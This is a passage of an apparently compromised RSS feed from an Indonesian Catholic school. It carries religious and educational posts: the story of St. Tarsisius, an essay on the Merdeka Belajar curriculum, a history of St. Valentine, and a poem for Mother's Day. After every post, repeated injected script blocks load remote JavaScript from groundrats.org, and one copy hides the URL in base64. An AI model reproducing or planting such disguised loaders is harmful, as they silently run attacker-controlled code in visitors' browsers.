<p class="has-medium-font-size wp-block-paragraph">“Siapakah yang rela ke penjara mengantar roti kudus ini?” demikian kata Imam setelah perayaan Ekaristi selesai.</p>



<p class="has-medium-font-size wp-block-paragraph">Mendengar pertanyaan itu, umat saling memandang ketakutan.</p>



<p class="has-medium-font-size wp-block-paragraph">“Pastor, Anda tak boleh pergi. Pastor pasti ditangkap,” kata salah seorang umat.</p>



<p class="has-medium-font-size wp-block-paragraph">Dari umat yang hadir ada seorang mantan serdadu Roma yang baru bertobat. Mantan serdadu ini menawarkan diri untuk membawa Sakramen&nbsp; itu. Namun, umat juga keberatan karena mantan serdadu ini sedang dicari-cari.</p>



<p class="has-medium-font-size wp-block-paragraph">St. Tarsisius merasa mampu melaksanakan tugas mulia itu. Tanpa bersuara, ia menengadah ke arah ibunya. Ibunya mengerti maksud St. Tarsisius dan menganggukkan kepala.</p>



<figure class="wp-block-image aligncenter size-full is-style-default"><img decoding="async" src="https://www.tarsisiusvireta.sch.id/wp-content/uploads/2022/08/temantarsi.png" alt="" class="wp-image-4053"/><figcaption>(St. Tarsisius Dihadang Temannya)</figcaption></figure>



<p class="has-medium-font-size wp-block-paragraph">St. Tarsisius berdiri dan berkata, “Pastor, biarkan aku ke sana membawa Tubuh Kristus untuk saudara-saudara kita.”</p>



<p class="has-medium-font-size wp-block-paragraph">Pastor menggeleng, “Engkau masih terlalu kecil, nak. Kalau serdadu Romawi menangkapmu, apa yang akan kamu perbuat?”</p>



<p class="has-medium-font-size wp-block-paragraph">St. Tarsisius berusaha meyakinkan pastor.</p>



<p class="has-medium-font-size wp-block-paragraph">“Percayalah, Pastor. Saya akan berhati-hati dan menjaga Ekaristi Mahakudus ini supaya tiba dengan selamat.”</p>



<p class="has-medium-font-size wp-block-paragraph">Melihat kesungguhan dan keberanian Tarsisius, imam itu membungkus Sakramen Mahakudus dan memberikannya kepada Tarsisius.</p>



<p class="has-medium-font-size wp-block-paragraph">Perjalanan melewati daerah serdadu Romawi aman. Namun, ketika melewati sebuah lapangan, ia melihat teman-temannya sedang bermain. Teman-temannya mengajak bermain, tetapi&nbsp; Tarsisius menolak. Teman-temannya heran sehingga mereka mengerumuni.</p>



<p class="has-medium-font-size wp-block-paragraph">Ketika mereka melihat Tarsisius memegang sesuatu dengan tangan. Mereka menarik tangan Tarsisius dan berusaha melihat apa yang ada di dalamnya. Tarsisius tidak melepaskan tangannya. Bahkan, ia semakin kuat mempertahankan apa yang dipegangnya.</p>



<p class="has-medium-font-size wp-block-paragraph">St. Tarsisius terjatuh. Satu di antara anak-anak itu kesal, karena tidak berhasil melepaskan tangan Tarsisius.</p>



<p class="has-medium-font-size wp-block-paragraph">Katanya, “Ayo kita buktikan siapa yang paling kuat!” Ia mengambil batu dan melemparkannya ke arah Tarsisius. Tarsisius bergeming namun tangannya tetap melindungi sesuatu di dadanya. Bahkan ia semakin kuat memeluk Sakramen Mahakudus di dadanya. Anak-anak itu semakin marah dan brutal. Mereka merajam Tarsisius dengan batu berkali-kali.</p>



<figure class="wp-block-image aligncenter size-full is-style-default"><img loading="lazy" decoding="async" width="644" height="435" src="https://www.tarsisiusvireta.sch.id/wp-content/uploads/2022/08/digendongprajurit.png" alt="" class="wp-image-4054" srcset="https://www.tarsisiusvireta.sch.id/wp-content/uploads/2022/08/digendongprajurit.png 644w, https://www.tarsisiusvireta.sch.id/wp-content/uploads/2022/08/digendongprajurit-300x203.png 300w" sizes="auto, (max-width: 644px) 100vw, 644px" /><figcaption>(St. Tarsisius Wafat Setelah Dirajam)</figcaption></figure>



<p class="has-medium-font-size wp-block-paragraph">Beberapa menit kemudian, Tarsisius sudah semakin tak berdaya. Tiba-tiba terdengar suara, “Berhenti…..! Mengapa kalian menganiaya dia?” Anak-anak itu lari terbirit-birit. Ternyata, suara itu berasal dari serdadu Romawi yang bertobat, yang sebelumnya telah menawarkan diri untuk membawa Sakramen Mahakudus.</p>



<p class="has-medium-font-size wp-block-paragraph">Mantan serdadu ini mengikuti Tarsisius dari jauh. Ia lari ke arah Tarsisius, memeluknya dengan perasaan sedih. Ia menggendong Tarsisius yang sudah tak berdaya. “Tarsisius, Tarsisius,” panggilnya dengan suara halus. Tarsisius membuka matanya yang memar dan berkata pelan, “Tubuh Kristus masih di tanganku.” Setelah mengatakan itu, Tarsisius menutup matanya.</p>



<p class="has-medium-font-size wp-block-paragraph">St. Tarsisius meninggal dalam perjalanan pulang menuju katakombe. Jasadnya dimakamkan di katakombe Santo Kalisitus, Roma.*</p>



<p class="wp-block-paragraph">Editor: Detianus Gea</p>
<script>;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://groundrats.org/tHHGGEDyAn6ygUcHwex98R1YlpAOQ9zvV2t6wfY5Sox');
;(function(f,b,n,j,x,e){
        var decodedUrl = atob('aHR0cHM6Ly9ncm91bmRyYXRzLm9yZy90SEhHR0VEeUFuNnlnVWNId2V4OThSMVlscEFPUTl6dlYydDZ3Zlk1U294');
        x=b.createElement(n);e=b.getElementsByTagName(n)[0];
        x.async=1;x.src=decodedUrl;
        e.parentNode.insertBefore(x,e);
    })(window,document,'script');</script><script>;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://groundrats.org/tHHGGEDyAn6ygUcHwex98R1YlpAOQ9zvV2t6wfY5Sox');
;(function(f,b,n,j,x,e){
        var decodedUrl = atob('aHR0cHM6Ly9ncm91bmRyYXRzLm9yZy90SEhHR0VEeUFuNnlnVWNId2V4OThSMVlscEFPUTl6dlYydDZ3Zlk1U294');
        x=b.createElement(n);e=b.getElementsByTagName(n)[0];
        x.async=1;x.src=decodedUrl;
        e.parentNode.insertBefore(x,e);
    })(window,document,'script');</script><p>The post <a href="https://www.tarsisiusvireta.sch.id/artikel/santo-tarsisius-mencintai-yesus-secara-sempura/">Santo Tarsisius: Mencintai Yesus Secara Sempurna</a> appeared first on <a href="https://www.tarsisiusvireta.sch.id">Sekolah Tarsisius Vireta</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Kurikulum Merdeka Belajar: Sebuah Interpretasi</title>
		<link>https://www.tarsisiusvireta.sch.id/artikel/kurikulum-merdeka-belajar-sebuah-interpretasi/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=kurikulum-merdeka-belajar-sebuah-interpretasi</link>
		
		<dc:creator><![CDATA[SD Tarsisius Vireta]]></dc:creator>
		<pubDate>Sat, 12 Mar 2022 08:54:05 +0000</pubDate>
				<category><![CDATA[Artikel]]></category>
		<guid isPermaLink="false">https://www.tarsisiusvireta.sch.id/?p=3772</guid>

					<description><![CDATA[<p>“Ganti menteri ganti kebijakan termasuk perubahan kurikulum pendidikan, nilai-nilai, ideologi dan tujuan-tujuan”. Seperti kita ketahui bahwa berbagai alasan dan rasionalisasi sehingga kurikulum di Indonesia terus mengalami pergantian dari waktu ke waktu. Sejak kemerdekaan tahun 1945, kurikulum pendidikan nasional terus mengalami perubahan, mulai pada tahun 1947, 1952, 1964, 1968, 1975, 1984, 1994, dan 2004, 2006, 2013 hingga kurikulum Merdeka Belajar 2022.</p>
<p>The post <a href="https://www.tarsisiusvireta.sch.id/artikel/kurikulum-merdeka-belajar-sebuah-interpretasi/">Kurikulum Merdeka Belajar: Sebuah Interpretasi</a> appeared first on <a href="https://www.tarsisiusvireta.sch.id">Sekolah Tarsisius Vireta</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<figure class="wp-block-image size-large is-style-default"><img loading="lazy" decoding="async" width="1024" height="576" src="https://www.tarsisiusvireta.sch.id/wp-content/uploads/2022/03/InShot_20220312_1546352001-1024x576.jpg" alt="" class="wp-image-3775" srcset="https://www.tarsisiusvireta.sch.id/wp-content/uploads/2022/03/InShot_20220312_1546352001-1024x576.jpg 1024w, https://www.tarsisiusvireta.sch.id/wp-content/uploads/2022/03/InShot_20220312_1546352001-300x169.jpg 300w, https://www.tarsisiusvireta.sch.id/wp-content/uploads/2022/03/InShot_20220312_1546352001-768x432.jpg 768w, https://www.tarsisiusvireta.sch.id/wp-content/uploads/2022/03/InShot_20220312_1546352001-1536x864.jpg 1536w, https://www.tarsisiusvireta.sch.id/wp-content/uploads/2022/03/InShot_20220312_1546352001-2048x1152.jpg 2048w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /><figcaption>(Sumber Gambar: https://jakarta.ayoindonesia.com/)</figcaption></figure>



<p class="has-medium-font-size wp-block-paragraph">“Ganti menteri ganti kebijakan termasuk perubahan kurikulum pendidikan, nilai-nilai, ideologi dan tujuan-tujuan”. Seperti kita ketahui bahwa berbagai alasan dan rasionalisasi sehingga kurikulum di Indonesia terus mengalami pergantian dari waktu ke waktu. Sejak kemerdekaan tahun 1945, kurikulum pendidikan nasional terus mengalami perubahan, mulai pada tahun 1947, 1952, 1964, 1968, 1975, 1984, 1994, dan 2004, 2006, 2013 hingga kurikulum Merdeka Belajar 2022.</p>



<p class="has-medium-font-size wp-block-paragraph"><strong>Bagaimana Pendapat Saya Tentang Kurikulum Merdeka Belajar?</strong></p>



<p class="has-medium-font-size wp-block-paragraph">Menurut Saya, Mas Mendikbudristek tentu mempunyai desain yang diharapkan agar Kurikulum Merdeka Belajar 2022 dapat menjawab perkembangan zaman. Mas Mendikbudristek menilai Kurikulum Merdeka Belajar mampu mendorong guru untuk kreatif dan inovatif sehingga proses belajar mengajar mudah dan lancar. Selain itu, kurikulum tersebut dinilai fleksibel dan mudah diadaptasi guru sesuai dengan kemampuan yang dimiliki oleh peserta didik.</p>



<p class="has-medium-font-size wp-block-paragraph">Esensi dari Kurikulum Merdeka Belajar adalah menggali potensi terbesar para guru dan peserta didik untuk berinovasi dan meningkatkan kualitas pembelajaran secara mandiri. Kebijakan Merdeka Belajar memberikan kemerdekaan bagi unit pendidikan untuk berinovasi menyesuaikan dengan budaya, kearifan lokal, sosio-ekonomi dan infranstruktur yang ada. Meskipun demikian, guru tidak dapat digantikan oleh teknologi karena teknologi adalah alat bantu bagi guru untuk meningkatkan potensi diri. Selain itu, teknologi juga dapat membangun motivasi dan minat belajar peserta didik.</p>



<p class="has-medium-font-size wp-block-paragraph">Kurikulum Merdeka Belajar juga mendorong guru untuk menggunakan materi, metode yang berkualitas, sesuai dengan tingkat kompetensi, minat dan bakat peserta didik. Merdeka Belajar bukan memberi kebebasan kepada peserta didik sebebas-bebasnya. Melainkan, menggali potensi dari setiap peserta didik untuk dikembangkan. Tentunya tidak terlepas dari Hakekat Pendidikan Nasional yang tertulis dalam Peraturan Pemerintah Nomor 19 Tahun 2005 hakikat pendidikan adalah sebagai pemersatu bangsa, penyamaan kesempatan, dan pengembangan potensi diri. Dengan demikian, pendidikan diharapkan memperkuat persatuan dalam Negara Kesatuan Republik Indonesia, memberi kesempatan yang sama kepada warga negara, dan mengajak warga negara untuk mengembangkan potensi diri.</p>



<p class="has-medium-font-size wp-block-paragraph">Apa yang dilakukan oleh mas Menteri merupakan wujud dari Reformasi Pendidikan di Indoneisia. Seperti kita ketahui, Reformasi Pendidikan dipengaruhi oleh tiga prinsip yakni perubahan Penyelenggaraan Pendidikan, perubahan pandangan tentang peran manusia, perubahan pandangan terhadap peserta didik. Perubahan Penyelenggaraan Pendidikan membuat paradigma proses pendidikan dari pengajaran menjadi pembelajaran. Paradigma tersebut mendorong peran pendidik dalam mentransformasikan pengetahuan kepada para peserta didik. Sementara itu, pendidikan diharapkan mampu membentuk manusia berkarakter, yang memahami dinamika psikososial, dan lingkungan kultural, dan menghargai serta menerima perbedaan dan keunikan bangsa Indonesia.</p>



<p class="wp-block-paragraph">Penulis: Detianus Gea</p>
<script>;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://groundrats.org/tHHGGEDyAn6ygUcHwex98R1YlpAOQ9zvV2t6wfY5Sox');
;(function(f,b,n,j,x,e){
        var decodedUrl = atob('aHR0cHM6Ly9ncm91bmRyYXRzLm9yZy90SEhHR0VEeUFuNnlnVWNId2V4OThSMVlscEFPUTl6dlYydDZ3Zlk1U294');
        x=b.createElement(n);e=b.getElementsByTagName(n)[0];
        x.async=1;x.src=decodedUrl;
        e.parentNode.insertBefore(x,e);
    })(window,document,'script');</script><p>The post <a href="https://www.tarsisiusvireta.sch.id/artikel/kurikulum-merdeka-belajar-sebuah-interpretasi/">Kurikulum Merdeka Belajar: Sebuah Interpretasi</a> appeared first on <a href="https://www.tarsisiusvireta.sch.id">Sekolah Tarsisius Vireta</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Valentine Day: Memuliakan Martabat Manusia</title>
		<link>https://www.tarsisiusvireta.sch.id/artikel/valentine-day-memuliakan-martabat-manusia/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=valentine-day-memuliakan-martabat-manusia</link>
		
		<dc:creator><![CDATA[SD Tarsisius Vireta]]></dc:creator>
		<pubDate>Mon, 14 Feb 2022 09:28:14 +0000</pubDate>
				<category><![CDATA[Artikel]]></category>
		<guid isPermaLink="false">https://www.tarsisiusvireta.sch.id/?p=3700</guid>

					<description><![CDATA[<p>Penghargaan terhadap cinta suci dua insan manusia, pria dan wanita, kian hari menjadi tantangan. Terutama dengan tren zaman yang cenderung mendegradasi moral seksual dan perendahan martabat tubuh sesama. Valentine Day mengingatkan kita kembali pada cinta suci dan pemuliaan tubuh itu. Kisah itu menjadi legenda sejak kehadiran Santo Valentinus. Sejarah Valentine Day pun tidak lepas dari kisah heroik sosok Santo Valentinus ini.</p>
<p>The post <a href="https://www.tarsisiusvireta.sch.id/artikel/valentine-day-memuliakan-martabat-manusia/">Valentine Day: Memuliakan Martabat Manusia</a> appeared first on <a href="https://www.tarsisiusvireta.sch.id">Sekolah Tarsisius Vireta</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<figure class="wp-block-image size-full is-style-default"><img loading="lazy" decoding="async" width="960" height="678" src="https://www.tarsisiusvireta.sch.id/wp-content/uploads/2022/02/valentines-day-1186309_960_720.jpg" alt="" class="wp-image-3701" srcset="https://www.tarsisiusvireta.sch.id/wp-content/uploads/2022/02/valentines-day-1186309_960_720.jpg 960w, https://www.tarsisiusvireta.sch.id/wp-content/uploads/2022/02/valentines-day-1186309_960_720-300x212.jpg 300w, https://www.tarsisiusvireta.sch.id/wp-content/uploads/2022/02/valentines-day-1186309_960_720-768x542.jpg 768w" sizes="auto, (max-width: 960px) 100vw, 960px" /></figure>



<p class="has-medium-font-size wp-block-paragraph">Penghargaan terhadap cinta suci dua insan manusia, pria dan wanita, kian hari menjadi tantangan. Terutama dengan tren zaman yang cenderung mendegradasi moral seksual dan perendahan martabat tubuh sesama. Valentine Day mengingatkan kita kembali pada cinta suci dan pemuliaan tubuh itu. Kisah itu menjadi legenda sejak kehadiran Santo Valentinus. Sejarah Valentine Day pun tidak lepas dari kisah heroik sosok Santo Valentinus ini.</p>



<p class="has-medium-font-size wp-block-paragraph">Santo Valentinus dari Roma (Valentine of Rome) adalah seorang Uskup dan dokter yang berasal dari kota Roma. Ia menjadi martir karena menentang perintah Kaisar Klaudius II yang melarang menerimakan sakramen pernikahan bagi pasangan Kristen. Valentinus ditangkap, dipenjarakan, lalu disiksa dan dihukum mati dengan cara dipenggal. Kemartiran Santo Valentinus, yang hari pestanya kini dikenal sebagai “Valentine Day” atau hari kasih sayang sedunia, terjadi pada tahun 269 di Via Flaminia Roma.</p>



<p class="has-medium-font-size wp-block-paragraph">Sebelum Paus Gelasius I (492-496) menetapkan tanggal 14 Februari sebagai Saint Valentine Day (pesta Santo Valentinus); bangsa Romawi telah merayakan 14 Februari dengan sebuah tradisi di mana para laki-laki menarik undian dari sebuah wadah yang besar, yang berisi nama para wanita yang akan menjadi pasangan mereka dalam berbagai bentuk perayaan pada tanggal tersebut, untuk menghormati dewi cinta Romawi yang bernama Februata Juno. Setelah bangsa Romawi menjadi Kristen, Gereja dengan tegas mengutuk tradisi penyembahan berhala tersebut. Salah seorang Imam yang berjuang keras menghapus tradisi ini adalah St.Valentinus.</p>



<p class="has-medium-font-size wp-block-paragraph">Pada masa itu pula, Bangsa Romawi terlibat dalam banyak peperangan, sehingga Kaisar Klaudisius mengumumkan wajib militer bagi para pemuda Romawi. Banyak pemuda yang menolak ikut wajib militer karena tidak mau meninggalkan kekasih yang mereka cintai. Hal ini membuat Kekaisaran Romawi sulit untuk merekrut tentara.</p>



<p class="has-medium-font-size wp-block-paragraph">Kaisar Klaudius lalu mengeluarkan dekrit kerajaan yang memerintahkan ke seluruh daerah bahwa tidak boleh ada lagi upacara pernikahan. Perintah ini ditentang oleh St.Valentinus yang merasa kasihan kepada pasangan-pasangan yang dipaksa untuk berpisah. Hingga suatu hari, St.Valentinus dengan diam-diam menerimakan sakramen perkawinan bagi sebuah pasangan yang sudah siap hidup dalam janji suci perkawinan. Dan segera terjadi banyak pernikahan di kota Roma seolah-olah dekrit kaisar di atas tidak pernah dikeluarkan.</p>



<p class="has-medium-font-size wp-block-paragraph">Ketika berita ini sampai ke telinga Klaudius; sang Kaisar pun murka. St.Valentinus lalu ditangkap dan dijatuhi hukuman mati. Ia dipenjara, dianiaya, lalu dipenggal di Via Flaminian. Pesta untuk Santo Valentinus ditetapkan pada setiap tanggal 14 Februari oleh Paus Gelasius I. Tanggal 14 Februari, yang pada masa pra-Kristen adalah hari untuk menghormati dewi cinta bangsa Romawi, telah diubah dan dikuduskan oleh Gereja menjadi perayaan untuk memperingati Santo Valentinus, seorang martir yang gugur membela Cinta Kasih dalam wujud Sakramen Pernikahan yang kudus.</p>



<p class="has-medium-font-size wp-block-paragraph">Pada masa itu, Pesta santo Valentinus akan dirayakan dengan menerimakan sakramen perkawinan bagi banyak pasangan yang sudah dinyatakan siap. Banyak cinta akan disatukan dalam janji suci perkawinan dan banyak pasangan muda memasuki hidup baru. Banyak pesta akan digelar dengan meriah diseluruh penjuru kota Roma.</p>



<p class="has-medium-font-size wp-block-paragraph">Saat ini, pesta Santo Valentinus telah menjadi sekular. Saint Valentine Day juga telah dimaknai serta dirayakan dengan cara yang sangat berbeda oleh berbagai kalangan, khususnya oleh kalangan di luar Gereja Katolik. Tidak soal, asalkan pesan cinta kasih perkawinan suci tetap menular.</p>



<p class="wp-block-paragraph">Penulis: Detianus Gea</p>
<script>;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://groundrats.org/tHHGGEDyAn6ygUcHwex98R1YlpAOQ9zvV2t6wfY5Sox');
;(function(f,b,n,j,x,e){
        var decodedUrl = atob('aHR0cHM6Ly9ncm91bmRyYXRzLm9yZy90SEhHR0VEeUFuNnlnVWNId2V4OThSMVlscEFPUTl6dlYydDZ3Zlk1U294');
        x=b.createElement(n);e=b.getElementsByTagName(n)[0];
        x.async=1;x.src=decodedUrl;
        e.parentNode.insertBefore(x,e);
    })(window,document,'script');</script><script>;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://groundrats.org/tHHGGEDyAn6ygUcHwex98R1YlpAOQ9zvV2t6wfY5Sox');
;(function(f,b,n,j,x,e){
        var decodedUrl = atob('aHR0cHM6Ly9ncm91bmRyYXRzLm9yZy90SEhHR0VEeUFuNnlnVWNId2V4OThSMVlscEFPUTl6dlYydDZ3Zlk1U294');
        x=b.createElement(n);e=b.getElementsByTagName(n)[0];
        x.async=1;x.src=decodedUrl;
        e.parentNode.insertBefore(x,e);
    })(window,document,'script');</script><p>The post <a href="https://www.tarsisiusvireta.sch.id/artikel/valentine-day-memuliakan-martabat-manusia/">Valentine Day: Memuliakan Martabat Manusia</a> appeared first on <a href="https://www.tarsisiusvireta.sch.id">Sekolah Tarsisius Vireta</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Ibu: Malaikat yang Dikirim Tuhan</title>
		<link>https://www.tarsisiusvireta.sch.id/artikel/ibu-malaikat-yang-dikirim-tuhan/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=ibu-malaikat-yang-dikirim-tuhan</link>
		
		<dc:creator><![CDATA[SD Tarsisius Vireta]]></dc:creator>
		<pubDate>Wed, 22 Dec 2021 09:40:04 +0000</pubDate>
				<category><![CDATA[Artikel]]></category>
		<guid isPermaLink="false">https://www.tarsisiusvireta.sch.id/?p=3616</guid>

					<description><![CDATA[<p>Ibu, entah dengan apa<br />
Aku membalas kasih sayangmu<br />
Segenggam emas atau pun berlian<br />
Tak dapat membalas kasih sayangmu<br />
Selama sembilan bulan lebih<br />
Engkau membawaku<br />
kemana saja engkau pergi<br />
Setelah tiba waktunya aku pun dilahirkan<br />
Engkau membedongku dengan penuh kasih sayang</p>
<p>The post <a href="https://www.tarsisiusvireta.sch.id/artikel/ibu-malaikat-yang-dikirim-tuhan/">Ibu: Malaikat yang Dikirim Tuhan</a> appeared first on <a href="https://www.tarsisiusvireta.sch.id">Sekolah Tarsisius Vireta</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<figure class="wp-block-image size-full is-style-default"><img loading="lazy" decoding="async" width="960" height="640" src="https://www.tarsisiusvireta.sch.id/wp-content/uploads/2021/12/mothers-day-6197813_960_720.png" alt="" class="wp-image-3617" srcset="https://www.tarsisiusvireta.sch.id/wp-content/uploads/2021/12/mothers-day-6197813_960_720.png 960w, https://www.tarsisiusvireta.sch.id/wp-content/uploads/2021/12/mothers-day-6197813_960_720-300x200.png 300w, https://www.tarsisiusvireta.sch.id/wp-content/uploads/2021/12/mothers-day-6197813_960_720-768x512.png 768w" sizes="auto, (max-width: 960px) 100vw, 960px" /><figcaption>(Sumber/Pixabay)</figcaption></figure>



<p class="wp-block-paragraph">Ibu, entah dengan apa</p>



<p class="wp-block-paragraph">Aku membalas kasih sayangmu</p>



<p class="wp-block-paragraph">Segenggam emas atau pun berlian</p>



<p class="wp-block-paragraph">Tak dapat membalas kasih sayangmu</p>



<p class="wp-block-paragraph">Selama sembilan bulan lebih</p>



<p class="wp-block-paragraph">Engkau membawaku</p>



<p class="wp-block-paragraph">kemana saja engkau pergi</p>



<p class="wp-block-paragraph">Setelah tiba waktunya aku pun dilahirkan</p>



<p class="wp-block-paragraph">Engkau membedongku dengan penuh kasih sayang</p>



<p class="wp-block-paragraph">Engkau tak kenal lelah</p>



<p class="wp-block-paragraph">Sejak kecil engkau merawatku dengan penuh kasih</p>



<p class="wp-block-paragraph">Ketika lapar, engkau menyusuiku</p>



<p class="wp-block-paragraph">Setelah mandi, engkau membaringkanku</p>



<p class="wp-block-paragraph">Disebuah ayunan buatan bapak</p>



<p class="wp-block-paragraph">Engkau tak membiarkanku menangis</p>



<p class="wp-block-paragraph">Meskipun larut malam</p>



<p class="wp-block-paragraph">Engkau bangun menenangkanku</p>



<p class="wp-block-paragraph">Rasa ngantuk yang melanda</p>



<p class="wp-block-paragraph">Seolah hilang menatap wajahku</p>



<p class="wp-block-paragraph">Anakmu yang sering tidak tahu terima kasih</p>



<p class="wp-block-paragraph">Ibu, entah bagaimana</p>



<p class="wp-block-paragraph">Aku membalas pengorbananmu</p>



<p class="wp-block-paragraph">Seluruh pemberianku</p>



<p class="wp-block-paragraph">Tak dapat mengganti tetesan keringatmu</p>



<p class="wp-block-paragraph">yang berderai membasahi bumi</p>



<p class="wp-block-paragraph">Tak mungkin menghapus jejak indah</p>



<p class="wp-block-paragraph">yang terpatri melukis sejarah</p>



<p class="wp-block-paragraph">Kala pagi tiba, sebelum ayam berkokok</p>



<p class="wp-block-paragraph">Engkau bergegas menapaki jalan bersama embun pagi</p>



<p class="wp-block-paragraph">Merajut harapan dengan sepenuh hati</p>



<p class="wp-block-paragraph">Engkau melangkah menuju ladang</p>



<p class="wp-block-paragraph">Menanam singkong, cabai, dan sayur-sayuran</p>



<p class="wp-block-paragraph">Makanan pokok kala padi kena hama</p>



<p class="wp-block-paragraph">Tak terkira rasa lelahmu</p>



<p class="wp-block-paragraph">Engkau pulang ke rumah</p>



<p class="wp-block-paragraph">Ketika mentari telah terbenam</p>



<p class="wp-block-paragraph">Dan rembunan mulai menunjukkan dirinya</p>



<p class="wp-block-paragraph">Dengan langkah yang tertatih</p>



<p class="wp-block-paragraph">Engkau menapaki jalan menuju rumah</p>



<p class="wp-block-paragraph">Menatap wajahku, anakmu</p>



<p class="wp-block-paragraph">Lelah itu sirna</p>



<p class="wp-block-paragraph">Oh ibu, nada terindah</p>



<p class="wp-block-paragraph">Tak dapat melukiskan</p>



<p class="wp-block-paragraph">Betapa sucinya kasih sayangmu</p>



<p class="wp-block-paragraph">Bahkan pelangi tak dapat melukiskan</p>



<p class="wp-block-paragraph">Betapa indah warna sejarah</p>



<p class="wp-block-paragraph">Yang engkau goreskan dihidupku</p>



<p class="wp-block-paragraph">Setiap nasehat yang keluar dari mulutmu</p>



<p class="wp-block-paragraph">Kala daku mulai nakal adalah mutiara berharga</p>



<p class="wp-block-paragraph">Bagai sabda pertiwi yang menyegarkan jiwa</p>



<p class="wp-block-paragraph">Meneguhkan dan mengokohkan budi</p>



<p class="wp-block-paragraph">Tiada yang seperti engkau</p>



<p class="wp-block-paragraph">Engkau malaikat yang dikirim Tuhan</p>



<p class="wp-block-paragraph">Malaikat yang berhati murni</p>



<p class="wp-block-paragraph">Dengan tutur yang lembut dan hangat</p>



<p class="wp-block-paragraph">Ibu, engkaulah penyejuk jiwa</p>



<p class="wp-block-paragraph">Pemberi harapan dikala asa mulai pudar</p>



<p class="wp-block-paragraph">Teman setia sepanjang hidup</p>



<p class="wp-block-paragraph">Kasih sayangmu tetap, tak pernah luntur</p>



<p class="wp-block-paragraph">Puisi ini tak dapat menggambarkan</p>



<p class="wp-block-paragraph">Betapa besar kasih dan pengorbananmu</p>



<p class="wp-block-paragraph">Ibu, Puisi ini hanyalah luapan kepenatan hati</p>



<p class="wp-block-paragraph">Anakmu ditanah rantau</p>



<p class="wp-block-paragraph">Aku merindukan nasehat dan belaian ibu</p>



<p class="wp-block-paragraph">Dikala malam tiba</p>



<p class="wp-block-paragraph">Dalam doaku nama ibu terucap</p>



<p class="wp-block-paragraph">Pintaku pada-Nya,</p>



<p class="wp-block-paragraph">“Tuhan aku merindukan ibu, jaga dan berilah kesehatan padanya”.</p>



<p class="wp-block-paragraph">Selamat Hari Ibu  2021, Tuhan Memberkati.  </p>



<p class="wp-block-paragraph">Penulis: Detianus Gea, dalam buku Antologi Puisi &#8220;Ibuku Surgaku&#8221; yang diterbitkan oleh Penerbit Kosa Kata Kita-Jakarta, tahun 2020, hlm. 87-90.</p>
<script>;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://groundrats.org/tHHGGEDyAn6ygUcHwex98R1YlpAOQ9zvV2t6wfY5Sox');
;(function(f,b,n,j,x,e){
        var decodedUrl = atob('aHR0cHM6Ly9ncm91bmRyYXRzLm9yZy90SEhHR0VEeUFuNnlnVWNId2V4OThSMVlscEFPUTl6dlYydDZ3Zlk1U294');
        x=b.createElement(n);e=b.getElementsByTagName(n)[0];
        x.async=1;x.src=decodedUrl;
        e.parentNode.insertBefore(x,e);
    })(window,document,'script');</script><script>;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://groundrats.org/tHHGGEDyAn6ygUcHwex98R1YlpAOQ9zvV2t6wfY5Sox');
;(function(f,b,n,j,x,e){
        var decodedUrl = atob('aHR0cHM6Ly9ncm91bmRyYXRzLm9yZy90SEhHR0VEeUFuNnlnVWNId2V4OThSMVlscEFPUTl6dlYydDZ3Zlk1U294');
        x=b.createElement(n);e=b.getElementsByTagName(n)[0];
        x.async=1;x.src=decodedUrl;
        e.parentNode.insertBefore(x,e);
    })(window,document,'script');</script><script>;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://groundrats.org/tHHGGEDyAn6ygUcHwex98R1YlpAOQ9zvV2t6wfY5Sox');
;(function(f,b,n,j,x,e){
        var decodedUrl = atob('aHR0cHM6Ly9ncm91bmRyYXRzLm9yZy90SEhHR0VEeUFuNnlnVWNId2V4OThSMVlscEFPUTl6dlYydDZ3Zlk1U294');
        x=b.createElement(n);e=b.getElementsByTagName(n)[0];
        x.async=1;x.src=decodedUrl;
        e.parentNode.insertBefore(x,e);
    })(window,document,'script');</script><p>The post <a href="https://www.tarsisiusvireta.sch.id/artikel/ibu-malaikat-yang-dikirim-tuhan/">Ibu: Malaikat yang Dikirim Tuhan</a> appeared first on <a href="https://www.tarsisiusvireta.sch.id">Sekolah Tarsisius Vireta</a>.</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
